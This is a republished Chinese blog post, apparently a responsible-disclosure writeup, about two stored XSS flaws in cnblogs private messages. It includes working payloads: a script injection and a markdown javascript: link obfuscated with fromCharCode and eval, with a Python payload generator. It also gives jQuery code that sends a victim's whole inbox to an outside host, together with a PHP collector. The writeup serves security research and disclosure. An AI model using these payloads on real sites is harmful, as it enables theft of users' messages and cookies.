5

博客园站内短消息 XSS

 3 years ago
source link: https://phuker.github.io/cnblogs-xss.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

洒家最近在博客园后台发送站内信(短消息)的时候发现了一个毫无技术含量的存储型 XSS,现已通知管理员且已修复。

注:这在以前是要提交乌云的节奏啊,可惜乌云倒闭了,那就直接私信管理员吧。

本人所做以下所有实验均使用本人的账号,未攻击和窃取他人信息。

本文提供的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本人不承担任何法律及连带责任。

以前的文章写得真叫一个乱。(2020 年 10 月 27 日迁移老博客时注)

第一波 XSS 漏洞

发现漏洞

博客园默认不自带 <meta name="viewport" content="width=device-width, initial-scale=1" /> 这种标签,在移动端看着很不舒服。洒家在博客园的博客设置中手动添加自定义 HTML 会被过滤,考虑到可以利用 JavaScript 来添加这一标签,洒家决定私信管理员申请 js 权限。

洒家给管理员私信申请 js 权限的时候,写完消息正文点击 Preview,发现插入的 meta 标签消失了。查看元素发现 meta 标签直接作为 html 元素插入了 DOM,而没有进行转义。洒家继续尝试 <script>alert(1);</script>,点击 Preview,发现竟然直接弹窗。

一枚毫无技术含量的 XSS 漏洞 Get。

cnblogs-xss-1.png站内信短消息功能cnblogs-xss-2.png给小号发送 XSS Payload

使用我自己写的 XSS 平台 XSS So Easy 接收 Cookie:

cnblogs-xss-3.png窃取 Cookie

漏洞成因

博客园后台短消息支持 Markdown,而 Markdown 中可以直接插入 HTML。抓包之后容易发现,博客园后台短消息 Preview API 为:

POST /common/MarkDownTransform HTTP/1.1
Host: msg.cnblogs.com

{"content":"# test XSS 2\n<script>alert(1);</script>"}

修复后的响应:

{"result":"success","content":"\u003ch1 id=\"test-xss-2\"\u003etest XSS 2\u003c/h1\u003e\n\u003cp\u003e\u0026lt;script\u0026gt;alert(1);\u0026lt;/script\u0026gt;\u003c/p\u003e\n"

发送的接口为:

POST /ajax/msg/send HTTP/1.1
Host: msg.cnblogs.com

{"incept":"收件人","title":"test XSS 2","content":"# test XSS 2\n<script>alert(1);</script>\n<script>alert(2);</script>"}

目测博客园后台站内信短消息在发送和预览的时候,都会调用 Markdown 转换 API,然后将得到的 HTML 存储到数据库。这个过程中没有对 HTML 标签过滤转义导致 XSS。

博客园的修复方法

再次抓包可以发现,博客园的修复方法是转义 < > " 等几个特殊字符为 < > "。例如:

{"content":"# test chars\nafeaf > abcd < defg ' ab \" gh \\ aab"}
{"result":"success","content":"\u003ch1 id=\"test-chars\"\u003etest chars\u003c/h1\u003e\n\u003cp\u003eafeaf \u0026gt; abcd \u0026lt; defg \u0027 ab \u0026quot; gh \\ aab\u003c/p\u003e\n"}
<h1 id="test-chars">test chars</h1>
<p>afeaf > abcd < defg ' ab " gh \ aab</p>

有效防止了新的短消息 XSS。

但是,已经发送的短消息不受影响,可见过滤只发生在进入数据库过程,数据库中存储的是已过滤内容。

cnblogs-xss-4.png再次打开已发送的含有 Payload 的短消息

总结

后台程序员直接照搬 Markdown 转换代码却忘了过滤敏感 HTML 标签,这种场合应该限制 Markdown 的直接插入 HTML 标签功能,还是要提高自己的姿势水平和安全意识。

附:<meta> 标签已经默认加上,终于可以愉快地用手机看博客了。

第二波 XSS 漏洞

2016 年 10 月 6 日 16:43:57 Update

然而,仅仅过滤了几个敏感字符就能彻底解决这个 XSS 问题吗?答案未必。本文将在通知管理员修复后更新。

Markdown 的 XSS 问题

如前文所述,博客园官方过滤了 < > " 等字符,然而这并不能完全解决 Markdown 的 XSS 问题。

如果插入 Markdown 代码:[Click me](javascript:alert(1)),博客园的转换器会转换为:

<p><a href="javascript:alert(1)">Click me</a></p>

显然又造成了 XSS 漏洞。

然而这种利用方法对代码有一定要求,需要一些转换才能执行任意代码。以博客园使用的转换器为例,该转换器至少有 2 点限制:

  1. JavaScript 代码中不能含有 "',否则会被 URL 编码从而无法执行
  2. JavaScript 代码中不能嵌套 (),即不能出现 eval(String.fromCharCode(97,98)),否则无法转换为 HTML 的 <a> 标签。

我使用以下方法绕过此限制:

[Click me](javascript:aaa=String.fromCharCode(97,108,101,114,116,40,49,41);eval(aaa))

代码已被编码为 ASCII 码,从而可以执行任意代码。

可以用以下 Python 代码来生成 Payload:

pay = 'alert(1);'
print '[please check this awesome article](javascript:aaa=String.fromCharCode(%s);eval(aaa))' % (','.join([str(ord(c)) for c in pay]),)

cnblogs-xss-5.png点击链接执行 alert(1) 弹窗的效果

后续的利用方法

既然已经可以执行任意 JavaScript 代码,那么后续的利用就人有多大胆地有多大产了。常见的思路大概就是偷 Cookie,删文章,改设置,甚至对于这个漏洞来说做一个 XSS 蠕虫是完全可行的。

洒家原来想通过 XSS 来诱导删除任意文章,但是对于博客园来说,短消息的域名 msg.cnblogs.com 和文章管理的域名 i.cnblogs.com 之间存在跨域问题,利用较困难。后来洒家转向窃取用户收件箱的所有内容。

博客园的备份所有短消息的 API 是:https://msg.cnblogs.com/ajax/Msg/ExportAll,于是可以构造以下恶意代码:

$.get('https://msg.cnblogs.com/ajax/Msg/ExportAll',function(data,status){$.ajax({url:'https://www.example.com/',data:data,contentType:'text/plain',processData:false,type:'POST'})})

接收端的代码(PHP):

<?php
header('Access-Control-Allow-Origin:*');
header('Access-Control-Allow-Methods:POST');
if($_SERVER["REQUEST_METHOD"] === 'POST'){
    file_put_contents('./data/xssData.txt', file_get_contents('php://input') . "\n-------------------\n", FILE_APPEND);
}

点击链接执行恶意代码的效果:

cnblogs-xss-6.png点击链接窃取所有消息cnblogs-xss-7.png点击链接窃取所有消息

修复方法

这次的漏洞修复工作更加复杂,涉及到 Markdown 解析器的修改,显然,你们更专业。

后续

2016 年 10 月 14 日 Update

现已修复,Preview 功能不变,但是发送时貌似是经过了反 XSS 的过滤或是什么,现在的 <a> 标签都变为了:

cnblogs-xss-8.png修复后的效果

![]()[]() 的方法都失效了。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK